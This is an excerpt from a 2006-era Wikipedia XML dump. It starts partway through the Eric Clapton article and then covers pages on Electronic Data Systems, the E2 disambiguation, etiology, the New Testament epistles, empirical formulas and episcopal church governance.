* [[Andy Fairweather Low]] - [[guitar]], [[backing vocals]]
* [[Steve Ferrone]] - [[drums]]
* [[Katie Kissoon]] - [[backing vocals]]
* [[Mark Knopfler]] - [[guitar]]
* [[Ricky Lawson]] - [[drums]]
* [[Chuck Leavell]] - [[Keyboard instrument|keyboards]]
* [[Marcy Levy]] - [[backing vocals]]
* [[Tessa Niles]] - [[backing vocals]]
* [[Jamie Oldaker]] - [[drums]]
* [[Phil Palmer]] - [[guitar]]
* [[Pino Palladino]] - [[bass guitar]]
* [[Greg Phillinganes]] - [[Keyboard instrument|keyboards]], [[Hammond organ]], [[backing vocals]]
* [[Carl Radle]] - [[bass guitar]]
* [[George Terry]] - [[guitar]], [[backing vocals]]

== Trivia ==
* Clapton was ranked 4th in [[Rolling Stone (magazine)|Rolling Stone]]’s list of 100 Greatest Guitarists of All Time. [http://www.rollingstone.com/news/story/5937559/the_100_greatest_guitarists_of_all_time]
* According to the aforementioned list, Clapton is the second greatest living guitarist (behind [[B.B. King]]).
* The nickname ''Slowhand'', apart from being an ironic reference to the speed at which he plays, is a pun on &quot;slow-hand clap&quot;.
* Early in his career, Clapton used a late 1950s model [[Gibson Les Paul]], and was partially responsible for Gibson's reintroduction of the original Les Paul body style after it was replaced by the [[Gibson SG]].
* Although many sources give his surname at birth as Clapp, this is incorrect. Though his grandmother's second husband's name was Clapp, his mother's name was Clapton; his grandparents never legally adopted him.
* Eric Clapton is credited on [[Dire Straits]]’ ''[[Brothers in Arms (Dire Straits album)|Brothers in Arms]]'' album, as he loaned [[Mark Knopfler]] one of his guitars for the album.
* Clapton played lead guitar on ''[[The Pros and Cons of Hitch Hiking]]'', [[Roger Waters]]' debut solo album after leaving [[Pink Floyd]].
* Clapton was banned from driving in [[France]] and had his British [[Driver's license|driver license]] [[confiscation|confiscated]] after being clocked driving at 216 [[km/h]] (134mph) in a [[Porsche 911]] [[turbocharger|Turbo]] on a French [[motorway]] in October [[2004]].
* Clapton claims to have slept with over 1,000 women. He apparently once ordered a fellow musician to let him sleep with his girlfriend. [http://www.timesonline.co.uk/article/0,,2088-1592846_2,00.html]
* Minor Planet 4305 is named ''[[4305 Clapton]]'' to honor him.  It is an [[asteroid]] between [[Mars]] and [[Jupiter]].
* The soundtrack of ''[[Goodfellas]]'' contains two of his songs: &quot;''[[Layla]]''&quot; (by [[Derek and the Dominos]]) and &quot;''[[Sunshine of Your Love]]''&quot; (by [[Cream (band)|Cream]]).  Both of these songs have immediately recognizable guitar [[riff]]s (even to those who have never heard the songs in their entirety), although the portion of &quot;''[[Layla]]''&quot; used is the piano coda, and not the [[riff]] for which the song is known.
* Clapton performed at [[The Band]]'s farewell show, which is chronicled in ''[[The Last Waltz]]'', a film by [[Martin Scorsese]].  While performing the beginning of &quot;Further On Up the Road,&quot; his guitar strap came undone.  To cover for him while he fixed it, [[Robbie Robertson]] improvised a guitar solo.
* Played two farewell concerts on [[November 26]]: [[Cream (band)|Cream]] in [[1968]], and ''[[The Last Waltz]]'' in [[1976]].  [[Irony|Ironically]], [[The Band]]'s music is partly what inspired him to leave Cream in the first place.
* Clapton's work is often used in the media, and has been an inspiration for many guitarists.
* Clapton and [[Cream (band)|Cream]] bandmates [[Ginger Baker]] and [[Jack Bruce]] have all played with each other in other groups.  Clapton and [[Ginger Baker|Baker]] played together in the short-lived [[supergroup (bands)|supergroup]] [[Blind Faith]], [[Ginger Baker|Baker]] and [[Jack Bruce|Bruce]] played together with the [[Graham Bond Organisation]] and [[Blues Incorporated]], and [[Jack Bruce|Bruce]] and Clapton played together near the end of Clapton's tenure with [[John Mayall's Bluesbreakers]].
* Prior to the [[Cream (band)|Cream]] reunion at the [[Royal Albert Hall]], the band had never played &quot;''[[Badge (song)|Badge]]''&quot; live, since the song was included on ''[[Goodbye (album)|Goodbye]]'', the band's last original album before their break-up.  However, Clapton, as a solo artist, has played the song live, as indicated on ''[[The Cream of Eric Clapton (DVD)|The Cream of Eric Clapton]]''.
* Before the formation of [[Cream (band)|Cream]] in [[1966]], Clapton was all but unknown in the [[United States]].  He left [[The Yardbirds]] before &quot;''For Your Love''&quot; hit the [[United States|American]] Top 10.
* Once while playing a [[Cream (band)|Cream]] concert, he suddenly stopped playing, and neither [[Ginger Baker]] nor [[Jack Bruce]] noticed.
* Even though all three were band members of [[The Yardbirds]], Clapton, [[Jimmy Page]], and [[Jeff Beck]] never played in the band all at the same time. The three guitarists did however all play on stage at the same time at the ARMS charity concerts in 1983 in honour of [[Ronnie Lane]]. Clapton and Page had previously played together with [[The Immediate All-Stars]] in 1965.
* According to an interview with [[Ginger Baker]] on the [[Cream (band)|Cream]] reunion [[DVD]], the reunion was Clapton's idea.
* During his [[heroin]] addiction in the early 70s, he kicked the habit briefly just so he could appear at the [[Concert for Bangladesh]].
* Duane Allman wrote and played the signature lead slide guitar riff for the original recording of ''Layla'' with [[Derek and the Dominos]].
* When &quot;''[[Layla]] Unplugged''&quot; hit #12 on the U.S. charts, Clapton became one of only two artists (the other being [[Neil Sedaka]]) to have made the Billboard Hot 100 with two versions of the same song.
* Because the [[electric guitar|electric]] version is difficult to coordinate live (it requires the use of a [[piano]]), Clapton will frequently play the [[acoustic guitar|acoustic]] version of &quot;''[[Layla]]''&quot;.  However, Clapton did play an [[electric guitar|electric]] version of the song at [[Live Aid]] in [[1985 in music|1985]]; instead of a [[piano]], an [[electronic keyboard]] was used.
* Upon his return to [[England]] after recording ''[[Layla and Other Assorted Love Songs]]'', he was supporting a £1,000-per-week [[heroin]] addiction.

==Quotations==
*&quot;''My driving philosophy about making music is that you can reduce it all down to one note if that note is played with the right kind of sincerity''&quot;
*&quot;''To have ownership of something that powerful is something I'll never be able to get used to.  It still knocks me out when I play it''&quot; – Regarding “''[[Layla]]''&quot;
*&quot;''Some people talk about me like a revolutionary. That’s nonsense; all I did was copy B.B.King''&quot;
*&quot;''He is a great person, as well as a great musician. And this guy sings like he was born down below Mississippi!''&quot; - [[B.B. King]] [http://www1.gitarrebass.de/magazine/0008/top10.htm]
*&quot;''I think Clapton is brilliant. He's the only one who moved me. The only one who made me want to play the guitar''&quot; - [[Eddie Van Halen]]
*&quot;''His fingers are directly wired to his soul''” – [[Brian May]] of [[Queen (band)|Queen]]

==Further reading==
* Ray Coleman, ''Clapton! The Authorised Biography'' (Warner Books, 1985; originally published as &quot;Survivor&quot;)
* Fred Weiler, ''Eric Clapton'' (Smithmark, 1992)
* ''Eric Clapton: Crossroads'' liner notes
* Marc Roberty, ''Eric Clapton - The Complete Recording Sessions 1963-1992''
* Marc Roberty, ''Eric Clapton: The New Visual Documentary'' (Omnibus Press, 1994)
* Marc Roberty, ''Clapton - The Complete Chronicle'' (Mitchell Beazley, 1993)
* Michael Schumacher, ''Crossroads - The Life and Music of Eric Clapton'' (Warner Books, 1998)
* Robin Bextor, ''Eric Clapton - Now &amp; Then'' (Carlton Books, 2006)

==See also==
*[[The Yardbirds]]
*[[John Mayall &amp; the Bluesbreakers]]
*[[Cream (band)|Cream]]
*[[Derek and the Dominos]]

==External links==
{{wikiquote}}
* [http://www.ericclapton.com Eric Clapton's Official Website]
* [http://www.whereseric.com Eric Clapton Portal by Where's Eric! The Eric Clapton Fan Club Magazine]
* [http://www.ericclaptonfaq.com Eric Clapton FAQ - Eric Clapton Frequently Asked Questions]
* [http://www.clapton.pl Clapton.pl Polish Unofficial Eric Clapton Website]
* [http://www.guitartablaturearchive.net/ericclaptontabs.html Eric Clapton Guitar Tabs]
* [http://www.soundtrackinfo.com/search.asp?q=Eric+Clapton&amp;pos=2 Eric Clapton at the SoundtrackINFO project]
* [http://crossroadsantigua.org/ Clapton's &quot;Crossroads&quot; Rehab centre, Antigua]
* [http://www.eclapton.co.uk Eric Clapton Forum, dedicated to Eric and his music, join other fans from around the world and discuss the guitar legend]
* [http://news.bbc.co.uk/hi/english/entertainment/showbiz/newsid_1740000/1740042.stm ''Clapton marries in secret'', BBC, 3 January, 2002]
* [http://www.bluespower.tk More on Eric]
* [http://www.ericclaptonfaq.com/questions/What_is_Eric_Claptons_real_surname_Clapp_or_Clapton.htm Clapp or Clapton]
* [http://www.eric-clapton.co.uk Unofficial Eric Clapton fansite]
* {{musicbrainz artist|id=618b6900-0618-4f1e-b835-bccb17f84294|name=Eric Clapton}}



[[Category:1945 births|Clapton, Eric]]
[[Category:Living people|Clapton, Eric]]
[[Category:Blues guitarists|Clapton, Eric]]
[[Category:Blues singers|Clapton, Eric]]
[[Category:Blues singer-songwriters|Clapton, Eric]]
[[Category:British blues musicians|Clapton, Eric]]
[[Category:British guitarists|Clapton, Eric]]
[[Category:British male singers|Clapton, Eric]]
[[Category:British rock musicians|Clapton, Eric]]
[[Category:Commanders of the British Empire|Clapton, Eric]]
[[Category:English guitarists|Clapton, Eric]]
[[Category:Natives of Surrey|Clapton, Eric]]
[[Category:Rock and Roll Hall of Fame inductees|Clapton, Eric]]
[[Category:Rock guitarists|Clapton, Eric]]
[[Category:Rock singer-songwriters|Clapton, Eric]]

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      <text xml:space="preserve">{{Infobox_Company |
  company_name   = Electronic Data Systems Corp |
  company_logo   = [[Image:Logo eds.gif|EDS logo]] |
  company_type   = [[Public company|Public]]|
  company_slogan = |
  foundation     = [[1962]]|
  location       = [[Plano, TX]], [[USA]]|
  key_people     = [[Michael H. Jordan]], Chairman &amp; CEO |
  num_employees  = 118,000|
  industry       = [[Information technology]] services  |
  products       = [[Computer Services]]|
  revenue        = [[Image:red down.png]]$20.669 billion [[United States dollar|USD]] ([[2004]])  |
  homepage       = [http://www.eds.com/ www.eds.com]
}}

'''Electronic Data Systems''' (EDS) {{nyse|EDS}} ([[London Stock Exchange|LSE]]: [http://www.londonstockexchange.com/en-gb/pricesnews/prices/system/detailedprices.htm?sym=US2856611049USGBXIRSQ2310655EDC EDC]) is a global [[IT consulting]] company that defined the [[outsourcing]] business when it was established in 1962 by [[Ross Perot]]. It is headquartered in [[Plano, Texas]]. [[General Motors]] acquired the company in 1984.  EDS became an independent company again in 1996.  In 2004, it employed 117,000 people located in 60 countries, and reported revenues of US$20.7 billion.  EDS is ranked as one of the largest services companies on the FORTUNE 500 list.

For 2004, 56% of revenue came from the Americas (Canada, Latin America, and the United States); 27% from Europe, Middle East, and Africa; 5% from Asia-Pacific; 4% from A.T. Kearney (EDS' management consulting subsidiary); and 8% from &quot;other&quot;, such as currency exchange, asset sales, etc.  Services' revenue was: Infrastructure 52%, Applications software 24%, Business process outsourcing 12%, A.T. Kearney (management consulting) 4%, and other 8%.

Of historical significance, just prior to the overthrow of the Shah of Iran, EDS was the IT company that developed the Iranian social security information system.  During the 1979 overthrow, several EDS employees were detained by the transitioning government of Iran, causing H. Ross Perot to undertake extraordinary clandestine measures to get these employees out of Iran, events told in Ken Follett's book On Wings of Eagles.

In 2006 EDS sold A.T. Kearney by a management buyout.

==Services==
EDS catalogs its services into three service portfolios which are [http://www.eds.com/services/infrastructure/ Infrastructure], [http://www.eds.com/services/apps/ Applications], [[Business Process Outsourcing]] (BPO) [http://www.eds.com/services/bpo/]. Infrastructure services includes maintaining the operation of part or all of a client's computer and communications infrastructure, such as networks, mainframes, &quot;midrange&quot; and Web servers, desktops/laptops, and printers. Applications services involves the developing, integrating, and/or maintaining of applications software for clients. Business process outsourcing includes performing a business function for a client, like payroll, call centers, insurance claims processing, and so forth.

EDS has three [[subsidiaries]] which are [http://www.excelleratehro.com/ ExcellerateHRO], [http://www.solcorp.com/ SOLCORP] and [http://www.wendover.com/ Wendover]. ExcellerateHRO offers [[human resources]] (HR) outsourcing services jointly owned by Towers Perrin. SOLCORP provides software solutions and services for the life insurance and wealth management industries. Wendover supports consumer lending products.

EDS establishes a number of [[business alliances]] with other companies in the EDS Global Alliance program. The alliances are grouped into three which are the [http://www.eds.com/services/alliances/agility/ EDS Agility Alliance], [http://www.eds.com/services/alliances/solution/ Solution Alliances] and [http://www.eds.com/services/alliances/technology/ Technology Alliances].

EDS services a wide range of industries [http://www.eds.com/industries/] including communications, consumer, retail, energy, financial, government, healthcare, manufacturing, and transportation.

===Agile Enterprise===
EDS in 2004 began promoting its [http://www.eds.com/services/agileenterprise/ Agile Enterprise] architecture, which it has developed with partners in the [http://www.eds.com/services/alliances/agility/ EDS Agility Alliance].
Members include [[Cisco Systems]], [[Dell, Inc.]], [[EMC Corporation]], [[Microsoft]], [[Oracle Corporation]], [[SAP AG]], [[Siebel Systems]], [[Sun Microsystems]], [http://www.towersperrin.com Towers Perrin], and [[Xerox]].
The architecture is intended to help clients move from a legacy of 40 years of patchwork systems development to a modern architecture, which EDS claims will be both cheaper to operate and more adaptable to business change.

==Locations==
EDS operates in 60 countries. In the US, EDS' largest locations are in the metropolitan areas of [[Dallas Fort Worth Metroplex|Dallas-Ft. Worth, Texas]], [[Detroit, Michigan]], and [[Northern Virginia]].  There are hundreds of sites throughout the US, in almost every state.  In the UK, large sites are in London, Derby, Newcastle, Milton Keynes, Hook, Lytham, Blackpool and Telford.  In Canada, major offices are in [[Ottawa]], [[Oshawa]], [[Toronto]], [[St. Catharines]] and [[Calgary]].  [[Brazil]], [[Germany]], [[Australia]],[[New Zealand]] and [[Spain]] also have major facilities.

EDS' [[Plano, Texas]], campus is located about 20 miles (30 km) north of downtown [[Dallas, Texas|Dallas]].  The campus consists of 3,521,000 square feet (327,000 m&amp;sup2;) of office and data center space on 270 acres (1.1 km&amp;sup2;) of land.  It is the center of the 2,665 acre (11 km&amp;sup2;) [http://www.legacyinplano.com/ Legacy in Plano] real estate development, which EDS built.

==Clients==
Most of EDS' clients are very large companies  and governments that need services from a company of EDS' scale.  EDS' largest client is [[General Motors|GM]] (General Motors), which accounts for 9.7% of EDS' revenue.  Since GM has plants in 32 countries, EDS is one of a few IT services companies that can handle that kind of a client. EDS is attempting to cut GM IT costs by offshoring some work to cheaper labour markets such as [[India]], [[China]], [[New Zealand]], [[Brazil]] and [[Spain]].

Another large EDS client is the U.S. Navy.  In [[2000]], they won a contract for the creation of a US$9 billion [[intranet]] linking the [[United States Navy|Navy]] and the [[United States Marine Corps|Marine Corps]].  This initiative is known as the [[Navy Marine Corps Intranet]], or simply NMCI.  In 2004, NMCI accounted for about 4% of EDS' revenue.  NMCI has been called the largest private network in the world, with approximately 400,000 &quot;seats&quot;.  EDS is providing the network, desktops, laptops, servers, telephones, video-conferencing, satellite transceivers, and overall management of the intranet.

Following on to the NMCI type of services, EDS in March 2005 won a US$4 billion contract with the U.K. Ministry of Defense to &quot;consolidate numerous existing information networks into a single next-generation infrastructure.... The network will provide seamless interaction between headquarters, battlefield support and the front line, linking about 150,000 desktop terminals and 340,000 users in approximately 2,000 locations....&quot;

Other major clients include [[American Airlines]], [[Department for Work and Pensions]], [[Bank of America]], [http://www.bluecrossma.com/common/en_US/index.jsp Blue Cross and Blue Shield of Massachusetts], [[Commonwealth Bank of Australia]], [[Fonterra]], [[J.Crew]], [[Nextel]], [[Primedia]], [[Rolls-Royce]], [[Sabre Holdings]], [[SKF]], [[Sun Microsystems]], [[Blohm + Voss]], [[Telecom New Zealand]], [[Telefónica]] (Brazil), [[La Caixa]], and [[Xerox]].

==Sponsorships==

EDS is the primary sponsor of the [[PGA Tour]]'s [[EDS Byron Nelson Championship]], played in nearby [[Irving, Texas]].

==External links==
* [http://biz.yahoo.com/ic/41/41915.html Yahoo! - Electronic Data Systems Corporation Company Profile]
* [http://www.eds.com/about/history/timeline.aspx EDS timeline]
* [http://www.eds.com/sites/cs/blogs/eds_next_big_thing_blog/default.aspx EDS Next Big Thing Blog]
* [http://www.medicaid.state.ar.us/InternetSolution/general/anreps/sfy04ar/to-rh2.htm Operation HOTFOOT], about rescue of two of EDS' own employees imprisoned in Iran in the '70s
* [http://flickr.com/photos/extraspecial/tags/eds/ Flickr: extraspecial's photos tagged with eds]
* [http://flickr.com/photos/danielqo/tags/eds/ Flickr: Daniel Quirino Oliveira's photos tagged with eds]


[[Category:Business services companies of the United States]]
[[Category:Companies listed on the London Stock Exchange]]
[[Category:Computer companies of the United States]]
[[Category:Dallas-Fort Worth Texas based companies]]
[[Category:Forbes 2000]]
[[Category:Internet companies of the United States]]
[[Category:IT consulting firms]]
[[Category:Multinational companies]]

[[de:Electronic Data Systems]]
[[fr:Electronic Data Systems]]
[[zh:EDS]]</text>
    </revision>
  </page>
  <page>
    <title>E2</title>
    <id>10053</id>
    <revision>
      <id>41781742</id>
      <timestamp>2006-03-01T18:34:54Z</timestamp>
      <contributor>
        <username>Janeraeman</username>
        <id>1012701</id>
      </contributor>
      <text xml:space="preserve">'''E2''' or '''E-2''' can refer to:

*'''E2''' is the IATA code for [[Edelweiss Holdings]], an airline
* The [[Everything2]] encyclopedia project
* A type of [[Elimination reaction]] in [[Organic chemistry]]
* An [[EMD E2]] [[diesel locomotive]]
* &quot;[[E² (Enterprise episode)|E²]]&quot;, an episode of ''[[Star Trek: Enterprise]]''
* [[HMS E2|HMS ''E2'']], an [[British E class submarine|E-class]] [[submarine]] of the [[Royal Navy]], launched in [[1912]].
* [[E-2 Hawkeye]], a carrier-based [[AWACS]] aircraft of the [[United States Navy]].
*One of the predecessors of [[Honda]]'s [[ASIMO]] [[robot]].
* The [[European walking route E2]]
* [[London E2|E2]], the postcode for [[Bethnal Green]] in [[London]].
* '''E-2''' is the paygrade of the rank [[Private (rank)|Private]] in the [[U.S. Army]]
* Abbreviation of [[Electronic Entertainment NY]].
{{2CC}}</text>
    </revision>
  </page>
  <page>
    <title>Etiology</title>
    <id>10055</id>
    <revision>
      <id>41998285</id>
      <timestamp>2006-03-03T03:10:11Z</timestamp>
      <contributor>
        <username>Light current</username>
        <id>360593</id>
      </contributor>
      <comment>+and usage</comment>
      <text xml:space="preserve">'''Etiology''' (alternately '''aetiology''', '''aitiology''') is the study of [[Causality|causation]]. 


== Origin and usage of term ==

The term (deriving from the [[Greek language|Greek]] words {{polytonic|αἰτία}} ''aitia'' = cause and {{polytonic|λόγος}} ''logos'' = word/speech) is used in [[philosophy]], [[physics]], [[psychology]], and [[biology]] in reference to the causes of various phenomena. It is generally the study of why things occur, or even the reasons behind the way that things act.

== Explanation ==

In '''[[medicine]]''' in particular, the term means the occurrences, reasons, and variables of [[disease]]s or [[pathology|pathologies]]. On [http://www.widesmiles.org/cleftlinks/WS-364.html The three Cs of etiology] there is an informative text about the etiology of [[cleft lip]]s explaining several methods of the etiological science.

== Historical ==

In Biblical criticism, etiologies give theological explanations for names or occurrences.  Example: the story of Lot's wife in Genesis 19 (specifically 26) explains why there are pillars of salt in the area of the [[Dead Sea]].  (see notes in Oxford Annotated Edition, Revised Standard Version of the Bible, 1973)

An '''''aetiological myth''''' is a [[mythology|myth]] intended to explain a name. For example, the name ''[[Delphi|Delphoi]]'' and its associated deity, ''[[Apollo|Apollon Delphinios]]'', are explained in the [[Homeric Hymn]] which tells how Apollo carried [[Crete|Cretans]] over the sea in the shape of a [[dolphin]] to make them his priests. While there is an actual etymological connection between ''Delphoi'' and ''delphis'' (''delphus'' means &quot;womb&quot;), many aetiological myths are based on [[popular etymology]] (the term &quot;[[Amazons|Amazon]]&quot;, for example).

An example of the word in use:

:&quot;...there is on the other a tendency to attribute all diseases of unknown aetiology to 'viruses'. In some ways, it is similar to possession by demons in medieval times, and we could make a case for the virus as a 'demon'&quot;, 

from the Foreword of the book ''Perfumery'', edited by G. H. Dodd and C. Van Toller, 1986.


{{philo-stub}}

&lt;!-- [[Category:Philosophy]] Too broad ?!?! --&gt; 
[[Category:Causality| ]]
[[Category:Philosophy of science]]
[[Category:Pathology]]
[[Category:Mythology]]

[[de:Ätiologie]]
[[es:Etiología]]
[[fr:Étiologie]]
[[it:Eziologia]]
[[he:אטיולוגיה]]
[[hu:Etiológia]]
[[nl:Etiologie]]
[[no:Etiologi]]
[[nn:Etiologi]]
[[pl:Etiologia]]
[[ru:Этиология]]
[[sv:Etiologi]]</text>
    </revision>
  </page>
  <page>
    <title>Ehime-Maru</title>
    <id>10057</id>
    <revision>
      <id>15907897</id>
      <timestamp>2003-12-05T08:01:10Z</timestamp>
      <contributor>
        <username>Stan Shebs</username>
        <id>7777</id>
      </contributor>
      <comment>#REDIRECT [[USS Greeneville (SSN-772)]]</comment>
      <text xml:space="preserve">#REDIRECT [[USS Greeneville (SSN-772)]]</text>
    </revision>
  </page>
  <page>
    <title>Epistles</title>
    <id>10058</id>
    <revision>
      <id>40595928</id>
      <timestamp>2006-02-21T18:39:59Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>Robot-assisted disambiguation: Philemon</comment>
      <text xml:space="preserve">The word '''&quot;[[epistle]]&quot;''' is from the [[Greek language|Greek]] word ''epistolos'' which means a written &quot;[[letter]]&quot; addressed to a recipient or recipients, perhaps part of exchanged correspondence. Today in common usage this somewhat elevated term usually connotes a specific group of books in the [[New Testament]] that either were letters or were written in that [[genre|literary form]], although &quot;epistle&quot; can refer to other written missives as well, such as a bishop's [[open letter]] to the congregants of his see. Calling a letter an &quot;epistle&quot; does not by itself imply that the letter is part of the New Testament, inspired, or even that it is necessarily religious in nature. For instance, an [[epistolary novel]] is told in the form of a series of letters.

==New Testament Epistles==

The epistles of the New Testament are [[Christianity|Christian]] writings of [[Twelve Apostles|Apostles]] to churches in particular parts of the world.  The most prolific apostle to write was [[Paul of Tarsus|Paul]].  

There are epistles that are written to particular areas, and general epistles that are written to groups.  Taking at face value the traditional ascription of epistles to their superscribed authors, Paul wrote more epistles to particular churches, as well as personal letters to [[Timothy]], [[Epistle to Philemon|Philemon]], and [[Apostle Titus|Titus]].  [[Saint Peter|Peter]], [[John the Evangelist|John]], [[James]], [[Jude]], and the writer of [[Epistle to the Hebrews|Hebrews]] wrote general letters to the church in general. Sometimes these epistles are divided into subgroups. For instance, the &quot;prison epistles&quot; are the ones written by Paul while he was in prison, while the &quot;pastoral epistles&quot; are the letters to Timothy and Titus, since they contain advice about providing pastoral care to their churches.

Questions of historical authorship or of date and authenticity are addressed in the entries to individual Epistles. Usually the Epistles of the [[New Testament canon]] are divided as follows:

'''[[Pauline Epistles]]''' as written by Paul:

* [[Epistle to the Romans]]
* [[First Epistle to the Corinthians]]
* [[Second Epistle to the Corinthians]]
* [[Epistle to the Galatians]]
* [[Epistle to the Ephesians]]
* [[Epistle to the Philippians]]
* [[Epistle to the Colossians]]
* [[First Epistle to the Thessalonians]]
* [[Second Epistle to the Thessalonians]]
* [[First Epistle to Timothy]]
* [[Second Epistle to Timothy]]
* [[Epistle to Titus]]
* [[Epistle to Philemon]]&lt;br&gt;

* [[Epistle to the Hebrews]], without secure traditional attribution &lt;br&gt;

'''&quot;Catholic&quot;''' (i.e. &quot;general&quot;) epistles

* [[Epistle of James]]
* [[First Epistle of Peter]]
* [[Second Epistle of Peter]]
* [[First Epistle of John]]
* [[Second Epistle of John]]
* [[Third Epistle of John]]
* [[Epistle of Jude]]

The authorship of many of these epistles is contested by the majority of modern scholars. In particular, with respect to the [[authorship of the Pauline epistles]], the [[pastoral epistles]] are rejected by two thirdss of modern academics, and only seven of the Pauline epistles are regarded as uncontested. The [[authorship of the Johannine works|epistles of John are also questioned]]; even in the early church, the second and third were often regarded as belonging to a different author, who identifies himself as [[John the Presbyter]], to the author of the first epistle, who is generally identified as [[John the Evangelist]], an individual that critical scholarship considers to be different to both [[John the Apostle]] and [[John the Divine]].

== Epistles of [[Apostolic Fathers]] ==
These are letters written by some very early Christian leaders, in the first or second century, which are not part of the New Testament. They are generally considered to form part of the basis of Christian tradition. The ennobling word &quot;epistle&quot; is used partly because these were all written in Greek, in a time period close to when the epistles of the New Testament were written, and thus &quot;epistle&quot; lends additional weight of authority. 

* Epistle of the Romans to the Corinthians ([[Epistles of Clement|1 Clement]])
* Epistle of [[Ignatius of Antioch|Ignatius]] to the Ephesians
* Epistle of [[Ignatius of Antioch|Ignatius]] to the Magnesians
* Epistle of [[Ignatius of Antioch|Ignatius]] to the Trallians
* Epistle of [[Ignatius of Antioch|Ignatius]] to the Romans
* Epistle of [[Ignatius of Antioch|Ignatius]] to the Philadelphians
* Epistle of [[Ignatius of Antioch|Ignatius]] to the Smyrnaeans
* Epistle of [[Ignatius of Antioch|Ignatius]] to [[Polycarp]]
* Epistle of [[Polycarp]] to the Philippians
* [[Epistle of Barnabas]]
* [[Epistle to Diognetus]]

==External links==
*[http://www.newadvent.org/cathen/05509a.htm ''Catholic Encyclopedia'']: Epistles
*[http://www.bts.edu/faculty/Publications/AncientLetterCollections.htm David Trobisch, &quot;How to read an ancient letter collection&quot;, 1999] : the possibility of a narrative critical study of the Letters of Paul</text>
    </revision>
  </page>
  <page>
    <title>Epistle to the Galatians</title>
    <id>10060</id>
    <revision>
      <id>15907899</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Epistle to Galatians]]
</text>
    </revision>
  </page>
  <page>
    <title>Epistle to Ephesians</title>
    <id>10061</id>
    <revision>
      <id>15907900</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Stephen C. Carlson</username>
        <id>6004</id>
      </contributor>
      <comment>moved to &quot;Epistle_to_the_Ephesians&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Epistle_to_the_Ephesians]]
</text>
    </revision>
  </page>
  <page>
    <title>Epistle to the Phillipians</title>
    <id>10062</id>
    <revision>
      <id>15907901</id>
      <timestamp>2003-04-01T04:19:26Z</timestamp>
      <contributor>
        <username>Stephen C. Carlson</username>
        <id>6004</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Epistle to the Philippians]]</text>
    </revision>
  </page>
  <page>
    <title>Epistle to Philippians</title>
    <id>10063</id>
    <revision>
      <id>15907902</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Stephen C. Carlson</username>
        <id>6004</id>
      </contributor>
      <comment>moved to &quot;Epistle_to_the_Philippians&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Epistle_to_the_Philippians]]
</text>
    </revision>
  </page>
  <page>
    <title>Empirical formula</title>
    <id>10065</id>
    <revision>
      <id>40548272</id>
      <timestamp>2006-02-21T09:53:08Z</timestamp>
      <contributor>
        <username>Timloh</username>
        <id>364704</id>
      </contributor>
      <text xml:space="preserve">In [[chemistry]], the '''empirical formula''' of a chemical is a simple expression of the relative number of each type of [[atom]] (called a [[chemical element]]) in it. An empirical formula makes no reference to [[isomer]]ism, structure, or absolute number of atoms. Empirical formulas are the standard for ionic compounds, such as CaCl&lt;sub&gt;2&lt;/sub&gt;, and for macromolecules, such as SiO&lt;sub&gt;2&lt;/sub&gt;. The term '''empirical''' refers to the process of [[elemental analysis]], a technique of [[analytical chemistry]] used to determine the relative percent composition of a pure chemical substance by element.

In contrast, the [[molecular formula]] identifies the absolute number of atoms of such element to be found in each discrete molecule of that compound.

For example, [[hexane]] could have a structural [[molecular formula]] of CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;3&lt;/sub&gt;, implying that it has a straight chain structure, 6 [[carbon]] atoms, and 14 [[hydrogen]] atoms. The hexane molecular formula is C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;14&lt;/sub&gt;. And the empirical formula for the same molecule would be C&lt;sub&gt;3&lt;/sub&gt;H&lt;sub&gt;7&lt;/sub&gt; showing a C:H ratio of 3:7.

To calculate the empirical formula for two elements (excluding [[transition elements]], [[lanthanides]] and [[actinides]]), switch the [[valency (chemistry)|valency]] of the two elements involved. For example, equation for water is H&lt;sub&gt;2&lt;/sub&gt;O. The [[valency (chemistry)|valency]] of H (hydrogen) is 1, and the valency of O (oxygen) is 2. Switch the valencies and you get H&lt;sub&gt;2&lt;/sub&gt;O.

N.B. This only works for TWO elements.

----

In [[physics]], an '''empirical formula''' is a mathematical [[equation]] that predicts observed results, but has no known theoretical basis to explain why it works.

An example was the [[Rydberg formula]] to predict the [[wavelength]]s of [[hydrogen]] [[spectral line]]s. Proposed in [[1888]], it perfectly predicted the wavelengths of the [[Lyman series]], but until [[Niels Bohr]] produced his [[Bohr model]] of the atom in [[1913]], nobody knew ''why'' the formula worked.

[[Category:Chemistry]]
[[Category:Experimental physics]]

[[ar:نسبة ملكية]]
[[da:Sumformel]]
[[de:Empirische Formel]]
[[es:Fórmula empírica]]
[[it:Formula minima]]
[[ms:Formula empirik]]
[[sv:Empirisk formel]]</text>
    </revision>
  </page>
  <page>
    <title>Episcopalians</title>
    <id>10066</id>
    <revision>
      <id>28820655</id>
      <timestamp>2005-11-20T10:02:20Z</timestamp>
      <contributor>
        <username>David Kernow</username>
        <id>445578</id>
      </contributor>
      <comment>disambiguation</comment>
      <text xml:space="preserve">#REDIRECT [[Episcopal churches]]</text>
    </revision>
  </page>
  <page>
    <title>Episcopalian church governance</title>
    <id>10067</id>
    <revision>
      <id>34204691</id>
      <timestamp>2006-01-07T04:27:56Z</timestamp>
      <contributor>
        <ip>69.244.182.7</ip>
      </contributor>
      <text xml:space="preserve">'''Episcopalian''' government in the [[church]] is ruled by a hierarchy of [[bishop]]s (Greek: ''episcopoi'').  

Episcopalian government is adopted by the majority of churches, and for most of the history of Christianity it has been the only form known to Christendom.  There are subtle differences in governmental principles, among episcopalian churches at the present time. To some extent the separation of episcopal churches can be traced to these differences in episcopal theory.  The Catholic churches of Rome and Byzantium (Roman Catholic and Eastern Orthodox in modern terms) are episcopalian, as are the [[Oriental Orthodox]] churches.

